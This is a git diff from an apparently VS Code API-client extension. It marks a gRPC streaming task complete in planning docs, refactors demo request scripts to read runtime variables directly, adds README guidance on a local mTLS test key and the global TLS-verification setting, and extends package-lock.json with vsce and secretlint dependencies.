index 9b92779..be02ea5 100644
--- a/docs/open-collection-gap-analysis/tasks/07-import-export-copilot.md
+++ b/docs/open-collection-gap-analysis/tasks/07-import-export-copilot.md
@@ -38,7 +38,7 @@ Finish the user-facing and agent-facing protocol surface after OC-000 through OC
 
 | Area | Work |
 | --- | --- |
-| Postman importer | Preserve scripts/events where mappable after OC-040; record unsupported mappings explicitly. |
+| Postman importer | OC-070 owns preserving mappable scripts/events after the OC-040 runtime contract lands; record unsupported mappings explicitly and cover collection, folder, and request event scopes with importer tests. |
 | OpenAPI importer | Keep HTTP semantics by default; preserve source metadata and avoid inventing GraphQL/WebSocket/gRPC requests unless source metadata truly supports it. |
 | Exporters | Add protocol-aware unsupported messages where export is not implemented and prevent silent data loss. |
 | Snippet exporter | Keep HTTP snippets working; add clear non-HTTP diagnostics or implement protocol-specific snippets if the scope remains small. |
@@ -61,7 +61,7 @@ Finish the user-facing and agent-facing protocol surface after OC-000 through OC
 | --- | --- |
 | OC-050 | If OC-050 changes auth representation or transport settings, OC-070 should update starter templates, import/export preservation, and Copilot redaction tests to match. |
 | OC-080 | If OC-080 changes runtime result shapes for WebSocket/gRPC, OC-070 should update Copilot `send_request` assertions and docs accordingly. |
-| OC-090 | If OC-090 lands first, OC-070 should include gRPC streaming method summaries in list/get/dry-run tests. |
+| OC-090 | OC-090 landed before OC-070, so list/get/dry-run coverage includes gRPC streaming method summaries. |
 | OC-100 | If OC-100 lands first, OC-070 should reuse its request type templates/conversion helpers instead of creating separate protocol starter logic. |
 
 ## Acceptance Criteria
diff --git a/docs/open-collection-gap-analysis/tasks/08-runtime-non-http-protocols.md b/docs/open-collection-gap-analysis/tasks/08-runtime-non-http-protocols.md
index 006e3d1..978f447 100644
--- a/docs/open-collection-gap-analysis/tasks/08-runtime-non-http-protocols.md
+++ b/docs/open-collection-gap-analysis/tasks/08-runtime-non-http-protocols.md
@@ -41,7 +41,7 @@ OC-040 delivered the runtime engine and verified it through HTTP and GraphQL-ove
 | --- | --- |
 | Request mutation | Allow scripts/actions to mutate URL, metadata, message JSON, and runtime variables before unary execution. |
 | Response shape | Expose response message, response metadata, status/code, elapsed time, and errors to tests/assertions. |
-| Diagnostics | Preserve existing missing-proto, invalid-method, connection, and unsupported-streaming diagnostics. |
+| Diagnostics | Preserve missing-proto, invalid-method, connection, and streaming status/partial-history diagnostics from OC-090. |
 
 5. Extend Copilot send-request output, response provider output, and request execution result types to surface runtime results for non-HTTP protocols.
 6. Add demo fixtures:
@@ -77,5 +77,5 @@ OC-040 delivered the runtime engine and verified it through HTTP and GraphQL-ove
 
 | Area | Reason |
 | --- | --- |
-| gRPC streaming runtime lifecycle | Covered by OC-090 after streaming execution exists. |
+| gRPC streaming runtime lifecycle | Streaming execution is owned by completed task OC-090; OC-080 remains scoped to unary gRPC runtime lifecycle. |
 | Persistent interactive WebSocket session scripting | This task covers request-style exchange execution, not a long-running session debugger. |
diff --git a/docs/open-collection-gap-analysis/tasks/09-grpc-streaming.md b/docs/open-collection-gap-analysis/tasks/09-grpc-streaming.md
index 338ba83..0402fbf 100644
--- a/docs/open-collection-gap-analysis/tasks/09-grpc-streaming.md
+++ b/docs/open-collection-gap-analysis/tasks/09-grpc-streaming.md
@@ -4,18 +4,22 @@
 
 Add schema-native gRPC client-streaming, server-streaming, and bidirectional-streaming execution with editor support, response streaming UI, local demo fixtures, and automated coverage.
 
-## Current Gap
+## Completion Status
 
-OC-030 implemented protobuf configuration, metadata defaults, unary execution, demo fixtures, and explicit diagnostics for streaming methods. OpenCollection gRPC request schema supports method types beyond unary, so Missio needs streaming support to close the remaining gRPC protocol gap.
+OC-090 is complete on PR #38 (`feature/oc-090-grpc-streaming`, commits `2ac3bc4` and `06b8d83`). Missio executes unary, server-streaming, client-streaming, and bidirectional-streaming requests with schema-native message sequences, response summaries, cancellation/error handling, local fixtures, and automated coverage. The original gap and implementation plan below are retained as historical acceptance scope.
+
+## Original Gap (Closed)
+
+OC-030 had implemented protobuf configuration, metadata defaults, unary execution, demo fixtures, and explicit diagnostics for streaming methods. OpenCollection gRPC request schema supported method types beyond unary, so OC-090 closed the remaining gRPC protocol gap.
 
 | Surface | Gap |
 | --- | --- |
-| Method resolution | Proto loader resolves unary execution only. |
-| Request payloads | Streaming requests need message lists, selected variants, or repeatable payload controls. |
-| Execution | Client-streaming, server-streaming, and bidirectional-streaming calls are not executed. |
-| Response UI | Streamed messages, metadata, status, cancellation, and errors need incremental display. |
-| Runtime | Streaming lifecycle should coordinate with OC-080 once non-HTTP runtime support exists. |
-| Demo coverage | Local gRPC server currently proves unary and unsupported-streaming diagnostics, not real streaming. |
+| Method resolution | Closed: proto loading resolves unary and all three streaming method types. |
+| Request payloads | Closed: schema-native selected variants and ordered message sequences are preserved. |
+| Execution | Closed: client-streaming, server-streaming, and bidirectional-streaming calls execute. |
+| Response UI | Closed: streamed events, metadata, status, cancellation, and errors are surfaced. |
+| Runtime | Verified with OC-080 after non-HTTP runtime support landed. |
+| Demo coverage | Closed: local fixtures execute unary, server/client/bidirectional streams, and deterministic stream errors. |
 
 ## Implementation Plan
 
diff --git a/examples/demo-api/AuthTransport/mtls-secure.yml b/examples/demo-api/AuthTransport/mtls-secure.yml
index 6a47643..e88dd05 100644
--- a/examples/demo-api/AuthTransport/mtls-secure.yml
+++ b/examples/demo-api/AuthTransport/mtls-secure.yml
@@ -2,7 +2,7 @@ info:
   name: mTLS Secure
   type: http
   seq: 4
-  description: Run `node examples/demo-api/mtls-server.js` and set `missio.rejectUnauthorized` to false for this self-signed local fixture.
+  description: Run `node examples/demo-api/mtls-server.js` in a dedicated local-only workspace. Because `missio.rejectUnauthorized` is global, set it to false only for this self-signed fixture and restore it to true before sending requests to external hosts.
 http:
   method: GET
   url: "{{mtlsBaseUrl}}/secure"
diff --git a/examples/demo-api/GraphQL/folder.yml b/examples/demo-api/GraphQL/folder.yml
index 8e363a5..fea52bf 100644
--- a/examples/demo-api/GraphQL/folder.yml
+++ b/examples/demo-api/GraphQL/folder.yml
@@ -2,4 +2,3 @@ info:
   name: GraphQL
   type: folder
   description: Run node examples/demo-api/server.js before sending these local GraphQL demo requests.
-
diff --git a/examples/demo-api/GraphQL/graphql-create-note-mutation.yml b/examples/demo-api/GraphQL/graphql-create-note-mutation.yml
index cf1ecba..f83704c 100644
--- a/examples/demo-api/GraphQL/graphql-create-note-mutation.yml
+++ b/examples/demo-api/GraphQL/graphql-create-note-mutation.yml
@@ -31,4 +31,3 @@ runtime:
     - expression: res.body.extensions.operation
       operator: equals
       value: mutation
-
diff --git a/examples/demo-api/GraphQL/graphql-health.yml b/examples/demo-api/GraphQL/graphql-health.yml
index 8762ca1..f880c50 100644
--- a/examples/demo-api/GraphQL/graphql-health.yml
+++ b/examples/demo-api/GraphQL/graphql-health.yml
@@ -31,4 +31,3 @@ runtime:
     - expression: res.body.data.health.status
       operator: equals
       value: ok
-
diff --git a/examples/demo-api/GraphQL/graphql-user-with-variables.yml b/examples/demo-api/GraphQL/graphql-user-with-variables.yml
index 0617372..09cf1d7 100644
--- a/examples/demo-api/GraphQL/graphql-user-with-variables.yml
+++ b/examples/demo-api/GraphQL/graphql-user-with-variables.yml
@@ -29,4 +29,3 @@ runtime:
     - expression: res.body.extensions.echoedVariables.id
       operator: equals
       value: "{{userId}}"
-
diff --git a/examples/demo-api/README.md b/examples/demo-api/README.md
index bfca2e5..0664312 100644
--- a/examples/demo-api/README.md
+++ b/examples/demo-api/README.md
@@ -15,3 +15,9 @@ node examples/demo-api/grpc-server.js
 ```
 
 The gRPC fixture binds `127.0.0.1:50051`, matching `LOCAL.grpcBaseUrl=localhost:50051` in `opencollection.yml`. If a gRPC demo request reports `UNAVAILABLE` or `ECONNREFUSED`, start or restart that fixture and retry with the LOCAL environment selected.
+
+## Security fixtures
+
+`fixtures/mtls-client.key` is a public, non-production test key committed only so the local mTLS fixture is reproducible. It is excluded from the packaged VSIX and must never be reused for a real client certificate.
+
+The `missio.rejectUnauthorized` setting is global. If you temporarily disable it for the self-signed local mTLS fixture, use a dedicated local-only VS Code workspace/window and restore it to `true` before sending any request to an external host.
diff --git a/examples/demo-api/Runtime/folder.yml b/examples/demo-api/Runtime/folder.yml
index efcf985..b7f83d4 100644
--- a/examples/demo-api/Runtime/folder.yml
+++ b/examples/demo-api/Runtime/folder.yml
@@ -6,4 +6,3 @@ request:
   headers:
     - name: X-Demo-Folder
       value: runtime
-
diff --git a/examples/demo-api/Runtime/intentional-failure.yml b/examples/demo-api/Runtime/intentional-failure.yml
index 0a8ff70..fb87506 100644
--- a/examples/demo-api/Runtime/intentional-failure.yml
+++ b/examples/demo-api/Runtime/intentional-failure.yml
@@ -27,4 +27,3 @@ settings:
   timeout: 5000
   followRedirects: true
   maxRedirects: 5
-
diff --git a/examples/demo-api/Runtime/lifecycle-token.yml b/examples/demo-api/Runtime/lifecycle-token.yml
index 5168a17..cd2968b 100644
--- a/examples/demo-api/Runtime/lifecycle-token.yml
+++ b/examples/demo-api/Runtime/lifecycle-token.yml
@@ -62,4 +62,3 @@ settings:
   timeout: 5000
   followRedirects: true
   maxRedirects: 5
-
diff --git a/examples/demo-api/Runtime/scripted-echo.yml b/examples/demo-api/Runtime/scripted-echo.yml
index 7e16e7c..f9f4b07 100644
--- a/examples/demo-api/Runtime/scripted-echo.yml
+++ b/examples/demo-api/Runtime/scripted-echo.yml
@@ -41,4 +41,3 @@ settings:
   timeout: 5000
   followRedirects: true
   maxRedirects: 5
-
diff --git a/examples/demo-api/WebSocket/runtime-lifecycle.yml b/examples/demo-api/WebSocket/runtime-lifecycle.yml
index 4c010eb..94163b4 100644
--- a/examples/demo-api/WebSocket/runtime-lifecycle.yml
+++ b/examples/demo-api/WebSocket/runtime-lifecycle.yml
@@ -19,14 +19,15 @@ runtime:
   scripts:
     - type: before-request
       code: |-
-        missio.variables.set("runtimeSocketUser", "{{runtimeSocketUserName}}");
+        missio.variables.set("runtimeSocketUser", missio.variables.get("runtimeSocketUserName"));
     - type: before-request
       code: |-
+        const socketMessageId = missio.variables.get("socketMessageId");
         missio.request.headers.set("X-Demo-Client", "missio-demo");
-        missio.request.headers.set("X-Runtime-Header", "scripted-{{socketMessageId}}");
+        missio.request.headers.set("X-Runtime-Header", `scripted-${socketMessageId}`);
         missio.request.body = {
-          user: "{{runtimeSocketUser}}",
-          count: Number("{{runtimeSocketCount}}")
+          user: missio.variables.get("runtimeSocketUser"),
+          count: Number(missio.variables.get("runtimeSocketCount"))
         };
     - type: after-response
       code: |-
diff --git a/examples/demo-api/gRPC/runtime-unary-lifecycle.yml b/examples/demo-api/gRPC/runtime-unary-lifecycle.yml
index 77f85ce..381d79c 100644
--- a/examples/demo-api/gRPC/runtime-unary-lifecycle.yml
+++ b/examples/demo-api/gRPC/runtime-unary-lifecycle.yml
@@ -32,15 +32,16 @@ runtime:
   scripts:
     - type: before-request
       code: |-
-        missio.variables.set("grpcRuntimeName", "{{grpcRuntimeNameSeed}}");
+        missio.variables.set("grpcRuntimeName", missio.variables.get("grpcRuntimeNameSeed"));
     - type: before-request
       code: |-
-        missio.variables.set("grpcRuntimeTrace", "runtime-{{grpcRequestId}}");
-        missio.request.metadata.set("x-demo-request", "script-{{grpcRequestId}}");
+        const grpcRequestId = missio.variables.get("grpcRequestId");
+        missio.variables.set("grpcRuntimeTrace", `runtime-${grpcRequestId}`);
+        missio.request.metadata.set("x-demo-request", `script-${grpcRequestId}`);
         missio.request.body = {
-          name: "{{grpcRuntimeName}}",
-          userId: Number("{{grpcRuntimeUserId}}"),
-          trace: { requestId: "{{grpcRuntimeTrace}}" }
+          name: missio.variables.get("grpcRuntimeName"),
+          userId: Number(missio.variables.get("grpcRuntimeUserId")),
+          trace: { requestId: missio.variables.get("grpcRuntimeTrace") }
         };
     - type: after-response
       code: |-
diff --git a/package-lock.json b/package-lock.json
index 1055efe..cde22af 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -23,6 +23,7 @@
         "@types/vscode": "^1.85.0",
         "@types/ws": "^8.18.1",
         "@vscode/codicons": "^0.0.44",
+        "@vscode/vsce": "3.9.2",
         "ajv": "^8.17.1",
         "esbuild": "^0.20.0",
         "esbuild-plugin-copy": "^2.1.0",
@@ -86,6 +87,216 @@
       "dev": true,
       "license": "MIT"
     },
+    "node_modules/@azu/format-text": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/@azu/format-text/-/format-text-1.0.2.tgz",
+      "integrity": "sha512-Swi4N7Edy1Eqq82GxgEECXSSLyn6GOb5htRFPzBDdUkECGXtlf12ynO5oJSpWKPwCaUssOu7NfhDcCWpIC6Ywg==",
+      "dev": true,
+      "license": "BSD-3-Clause"
+    },
+    "node_modules/@azu/style-format": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/@azu/style-format/-/style-format-1.0.1.tgz",
+      "integrity": "sha512-AHcTojlNBdD/3/KxIKlg8sxIWHfOtQszLvOpagLTO+bjC3u7SAszu1lf//u7JJC50aUSH+BVWDD/KvaA6Gfn5g==",
+      "dev": true,
+      "license": "WTFPL",
+      "dependencies": {
+        "@azu/format-text": "^1.0.1"
+      }
+    },
+    "node_modules/@azure/abort-controller": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/@azure/abort-controller/-/abort-controller-2.2.0.tgz",
+      "integrity": "sha512-fNAjWnA/nZ2jz31kxR/AqRaUT8ewHBw/WuBIosK0moMy1C9e5ValbDfFdIxJzVOOYaYkV/b2F1S4H/aHiqfVQg==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "tslib": "^2.6.2"
+      },
+      "engines": {
+        "node": ">=22.0.0"
+      }
+    },
+    "node_modules/@azure/core-auth": {
+      "version": "1.11.0",
+      "resolved": "https://registry.npmjs.org/@azure/core-auth/-/core-auth-1.11.0.tgz",
+      "integrity": "sha512-IUZydyTUkDnYdstOW9pFOOUQlBjAepK5teihDE3x6yxsPJs/hsAaaYpeGxdxrgtOiJbBKSjKW7MDk7AEhb4LRg==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@azure/abort-controller": "^2.1.2",
+        "@azure/core-util": "^1.13.0",
+        "tslib": "^2.6.2"
+      },
+      "engines": {
+        "node": ">=22.0.0"
+      }
+    },
+    "node_modules/@azure/core-client": {
+      "version": "1.11.0",
+      "resolved": "https://registry.npmjs.org/@azure/core-client/-/core-client-1.11.0.tgz",
+      "integrity": "sha512-JjQWO6akOck45PH/XBrxzsQGAiKrfFl4m5iggJ0ItMIz5omRufOXWpqCPpdjKN3vKDzlSUvFjaMb7Zwf0gvAdA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@azure/abort-controller": "^2.1.2",
+        "@azure/core-auth": "^1.10.0",
+        "@azure/core-rest-pipeline": "^1.22.0",
+        "@azure/core-tracing": "^1.3.0",
+        "@azure/core-util": "^1.13.0",
+        "@azure/logger": "^1.3.0",
+        "tslib": "^2.6.2"
+      },
+      "engines": {
+        "node": ">=22.0.0"
+      }
+    },
+    "node_modules/@azure/core-rest-pipeline": {
+      "version": "1.25.0",
+      "resolved": "https://registry.npmjs.org/@azure/core-rest-pipeline/-/core-rest-pipeline-1.25.0.tgz",
+      "integrity": "sha512-bMs8ekJLjX8wPV+9IPBges1SLPyuDtE9g5gLDWOpxzKcoOFQnpLGkbcT1tdw3FaAmDS1gnPmMmJ6y/T5B96kIA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@azure/abort-controller": "^2.1.2",
+        "@azure/core-auth": "^1.10.0",
+        "@azure/core-tracing": "^1.3.0",
+        "@azure/core-util": "^1.13.0",
+        "@azure/logger": "^1.3.0",
+        "@typespec/ts-http-runtime": "^0.3.4",
+        "tslib": "^2.6.2"
+      },
+      "engines": {
+        "node": ">=22.0.0"
+      }
+    },
+    "node_modules/@azure/core-tracing": {
+      "version": "1.4.0",
+      "resolved": "https://registry.npmjs.org/@azure/core-tracing/-/core-tracing-1.4.0.tgz",
+      "integrity": "sha512-eGwxD0AtncrxeBM4tG8R55Pc3rdX1hNW2WibJAgYpCVA6E93mvvVH+LcssoVjOBrSKWS55yEIHsk0X8ctHmfOQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "tslib": "^2.6.2"
+      },
+      "engines": {
+        "node": ">=22.0.0"
+      }
+    },
+    "node_modules/@azure/core-util": {
+      "version": "1.14.0",
+      "resolved": "https://registry.npmjs.org/@azure/core-util/-/core-util-1.14.0.tgz",
+      "integrity": "sha512-9n2pWK61veAuN0V20t9lOuoV4CFMdyAZ1ygZzvBGk/pBBJRib/PjL9PLXa/aI2CcPpyHfqVsxxqLCYl6uZlfDw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@azure/abort-controller": "^2.1.2",
+        "@typespec/ts-http-runtime": "^0.3.0",
+        "tslib": "^2.6.2"
+      },
+      "engines": {
+        "node": ">=22.0.0"
+      }
+    },
+    "node_modules/@azure/identity": {
+      "version": "4.13.1",
+      "resolved": "https://registry.npmjs.org/@azure/identity/-/identity-4.13.1.tgz",
+      "integrity": "sha512-5C/2WD5Vb1lHnZS16dNQRPMjN6oV/Upba+C9nBIs15PmOi6A3ZGs4Lr2u60zw4S04gi+u3cEXiqTVP7M4Pz3kw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@azure/abort-controller": "^2.0.0",
+        "@azure/core-auth": "^1.9.0",
+        "@azure/core-client": "^1.9.2",
+        "@azure/core-rest-pipeline": "^1.17.0",
+        "@azure/core-tracing": "^1.0.0",
+        "@azure/core-util": "^1.11.0",
+        "@azure/logger": "^1.0.0",
+        "@azure/msal-browser": "^5.5.0",
+        "@azure/msal-node": "^5.1.0",
+        "open": "^10.1.0",
+        "tslib": "^2.2.0"
+      },
+      "engines": {
+        "node": ">=20.0.0"
+      }
+    },
+    "node_modules/@azure/logger": {
+      "version": "1.4.0",
+      "resolved": "https://registry.npmjs.org/@azure/logger/-/logger-1.4.0.tgz",
+      "integrity": "sha512-rbAE25KUfjU/s3XHUdJgceoCP5dEOpMx85J04kF+QMdta73XkuG9JGHHinch+XIoKpBdqljin+KqURpJriSzLA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@typespec/ts-http-runtime": "^0.3.0",
+        "tslib": "^2.6.2"
+      },
+      "engines": {
+        "node": ">=22.0.0"
+      }
+    },
+    "node_modules/@azure/msal-browser": {
+      "version": "5.17.0",
+      "resolved": "https://registry.npmjs.org/@azure/msal-browser/-/msal-browser-5.17.0.tgz",
+      "integrity": "sha512-/yTnW2TCk9Mh+2b/NOaHAN+MryUNxzRTaJD/YtrqOA9bpBWfTXn/iyReRbaLrK/btBo3stEzLyEvuWp2NZ5DuA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@azure/msal-common": "16.11.1"
+      },
+      "engines": {
+        "node": ">=0.8.0"
+      }
+    },
+    "node_modules/@azure/msal-common": {
+      "version": "16.11.1",
+      "resolved": "https://registry.npmjs.org/@azure/msal-common/-/msal-common-16.11.1.tgz",
+      "integrity": "sha512-yPohvMwWLv1XnaWnIUyKUh8CvcVChCGqG/VluGwfGmaAfrZTNt5yQ+sIs462Sgw6+e2K83KGmMJ860p73ZSCrw==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=0.8.0"
+      }
+    },
+    "node_modules/@azure/msal-node": {
+      "version": "5.4.0",
+      "resolved": "https://registry.npmjs.org/@azure/msal-node/-/msal-node-5.4.0.tgz",
+      "integrity": "sha512-6EZEParwHRlnSSIikw8FNAnAzwmh71uhveUXdPNFeZFviJ9SH+rwFiurhjzXqICYTrpm3E+dj693QOwfPbJXAQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@azure/msal-common": "16.11.1",
+        "jsonwebtoken": "^9.0.0"
+      },
+      "engines": {
+        "node": ">=20"
+      }
+    },
+    "node_modules/@babel/code-frame": {
+      "version": "7.29.7",
+      "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.7.tgz",
+      "integrity": "sha512-Aup7aUOfpbAUg2ROOJN6Iw5f9DMBlzu0mIkm/malLQFN/YQgO48wCj0Kxa3sEHJvPVFg7siR+qRInwXd2qhQKw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@babel/helper-validator-identifier": "^7.29.7",
+        "js-tokens": "^4.0.0",
+        "picocolors": "^1.1.1"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-validator-identifier": {
+      "version": "7.29.7",
+      "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.29.7.tgz",
+      "integrity": "sha512-qehxGkRj55h/ff8EMaJ+cYhyaKlHIxqYDn682wQD7RNp9UujOQsHog2uS0r2vzr4pW+sXf90NeeayjcNaX3fFg==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
     "node_modules/@bramus/specificity": {
       "version": "2.4.2",
       "resolved": "https://registry.npmjs.org/@bramus/specificity/-/specificity-2.4.2.tgz",
@@ -1442,6 +1653,222 @@
         "win32"
       ]
     },
+    "node_modules/@secretlint/config-creator": {
+      "version": "10.2.2",
+      "resolved": "https://registry.npmjs.org/@secretlint/config-creator/-/config-creator-10.2.2.tgz",
+      "integrity": "sha512-BynOBe7Hn3LJjb3CqCHZjeNB09s/vgf0baBaHVw67w7gHF0d25c3ZsZ5+vv8TgwSchRdUCRrbbcq5i2B1fJ2QQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@secretlint/types": "^10.2.2"
+      },
+      "engines": {
+        "node": ">=20.0.0"
+      }
+    },
+    "node_modules/@secretlint/config-loader": {
+      "version": "10.2.2",
+      "resolved": "https://registry.npmjs.org/@secretlint/config-loader/-/config-loader-10.2.2.tgz",
+      "integrity": "sha512-ndjjQNgLg4DIcMJp4iaRD6xb9ijWQZVbd9694Ol2IszBIbGPPkwZHzJYKICbTBmh6AH/pLr0CiCaWdGJU7RbpQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@secretlint/profiler": "^10.2.2",
+        "@secretlint/resolver": "^10.2.2",
+        "@secretlint/types": "^10.2.2",
+        "ajv": "^8.17.1",
+        "debug": "^4.4.1",
+        "rc-config-loader": "^4.1.3"
+      },
+      "engines": {
+        "node": ">=20.0.0"
+      }
+    },
+    "node_modules/@secretlint/core": {
+      "version": "10.2.2",
+      "resolved": "https://registry.npmjs.org/@secretlint/core/-/core-10.2.2.tgz",
+      "integrity": "sha512-6rdwBwLP9+TO3rRjMVW1tX+lQeo5gBbxl1I5F8nh8bgGtKwdlCMhMKsBWzWg1ostxx/tIG7OjZI0/BxsP8bUgw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@secretlint/profiler": "^10.2.2",
+        "@secretlint/types": "^10.2.2",
+        "debug": "^4.4.1",
+        "structured-source": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=20.0.0"
+      }
+    },
+    "node_modules/@secretlint/formatter": {
+      "version": "10.2.2",
+      "resolved": "https://registry.npmjs.org/@secretlint/formatter/-/formatter-10.2.2.tgz",
+      "integrity": "sha512-10f/eKV+8YdGKNQmoDUD1QnYL7TzhI2kzyx95vsJKbEa8akzLAR5ZrWIZ3LbcMmBLzxlSQMMccRmi05yDQ5YDA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@secretlint/resolver": "^10.2.2",
+        "@secretlint/types": "^10.2.2",
+        "@textlint/linter-formatter": "^15.2.0",
+        "@textlint/module-interop": "^15.2.0",
+        "@textlint/types": "^15.2.0",
+        "chalk": "^5.4.1",
+        "debug": "^4.4.1",
+        "pluralize": "^8.0.0",
+        "strip-ansi": "^7.1.0",
+        "table": "^6.9.0",
+        "terminal-link": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=20.0.0"
+      }
+    },
+    "node_modules/@secretlint/formatter/node_modules/ansi-regex": {
+      "version": "6.2.2",
+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz",
+      "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=12"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-regex?sponsor=1"
+      }
+    },
+    "node_modules/@secretlint/formatter/node_modules/chalk": {
+      "version": "5.6.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-5.6.2.tgz",
+      "integrity": "sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": "^12.17.0 || ^14.13 || >=16.0.0"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/@secretlint/formatter/node_modules/strip-ansi": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.2.0.tgz",
+      "integrity": "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "ansi-regex": "^6.2.2"
+      },
+      "engines": {
+        "node": ">=12"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/strip-ansi?sponsor=1"
+      }
+    },
+    "node_modules/@secretlint/node": {
+      "version": "10.2.2",
+      "resolved": "https://registry.npmjs.org/@secretlint/node/-/node-10.2.2.tgz",
+      "integrity": "sha512-eZGJQgcg/3WRBwX1bRnss7RmHHK/YlP/l7zOQsrjexYt6l+JJa5YhUmHbuGXS94yW0++3YkEJp0kQGYhiw1DMQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@secretlint/config-loader": "^10.2.2",
+        "@secretlint/core": "^10.2.2",
+        "@secretlint/formatter": "^10.2.2",
+        "@secretlint/profiler": "^10.2.2",
+        "@secretlint/source-creator": "^10.2.2",
+        "@secretlint/types": "^10.2.2",
+        "debug": "^4.4.1",
+        "p-map": "^7.0.3"
+      },
+      "engines": {
+        "node": ">=20.0.0"
+      }
+    },
+    "node_modules/@secretlint/profiler": {
+      "version": "10.2.2",
+      "resolved": "https://registry.npmjs.org/@secretlint/profiler/-/profiler-10.2.2.tgz",
+      "integrity": "sha512-qm9rWfkh/o8OvzMIfY8a5bCmgIniSpltbVlUVl983zDG1bUuQNd1/5lUEeWx5o/WJ99bXxS7yNI4/KIXfHexig==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/@secretlint/resolver": {
+      "version": "10.2.2",
+      "resolved": "https://registry.npmjs.org/@secretlint/resolver/-/resolver-10.2.2.tgz",
+      "integrity": "sha512-3md0cp12e+Ae5V+crPQYGd6aaO7ahw95s28OlULGyclyyUtf861UoRGS2prnUrKh7MZb23kdDOyGCYb9br5e4w==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/@secretlint/secretlint-formatter-sarif": {
+      "version": "10.2.2",
+      "resolved": "https://registry.npmjs.org/@secretlint/secretlint-formatter-sarif/-/secretlint-formatter-sarif-10.2.2.tgz",
+      "integrity": "sha512-ojiF9TGRKJJw308DnYBucHxkpNovDNu1XvPh7IfUp0A12gzTtxuWDqdpuVezL7/IP8Ua7mp5/VkDMN9OLp1doQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "node-sarif-builder": "^3.2.0"
+      }
+    },
+    "node_modules/@secretlint/secretlint-rule-no-dotenv": {
+      "version": "10.2.2",
+      "resolved": "https://registry.npmjs.org/@secretlint/secretlint-rule-no-dotenv/-/secretlint-rule-no-dotenv-10.2.2.tgz",
+      "integrity": "sha512-KJRbIShA9DVc5Va3yArtJ6QDzGjg3PRa1uYp9As4RsyKtKSSZjI64jVca57FZ8gbuk4em0/0Jq+uy6485wxIdg==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@secretlint/types": "^10.2.2"
+      },
+      "engines": {
+        "node": ">=20.0.0"
+      }
+    },
+    "node_modules/@secretlint/secretlint-rule-preset-recommend": {
+      "version": "10.2.2",
+      "resolved": "https://registry.npmjs.org/@secretlint/secretlint-rule-preset-recommend/-/secretlint-rule-preset-recommend-10.2.2.tgz",
+      "integrity": "sha512-K3jPqjva8bQndDKJqctnGfwuAxU2n9XNCPtbXVI5JvC7FnQiNg/yWlQPbMUlBXtBoBGFYp08A94m6fvtc9v+zA==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=20.0.0"
+      }
+    },
+    "node_modules/@secretlint/source-creator": {
+      "version": "10.2.2",
+      "resolved": "https://registry.npmjs.org/@secretlint/source-creator/-/source-creator-10.2.2.tgz",
+      "integrity": "sha512-h6I87xJfwfUTgQ7irWq7UTdq/Bm1RuQ/fYhA3dtTIAop5BwSFmZyrchph4WcoEvbN460BWKmk4RYSvPElIIvxw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@secretlint/types": "^10.2.2",
+        "istextorbinary": "^9.5.0"
+      },
+      "engines": {
+        "node": ">=20.0.0"
+      }
+    },
+    "node_modules/@secretlint/types": {
+      "version": "10.2.2",
+      "resolved": "https://registry.npmjs.org/@secretlint/types/-/types-10.2.2.tgz",
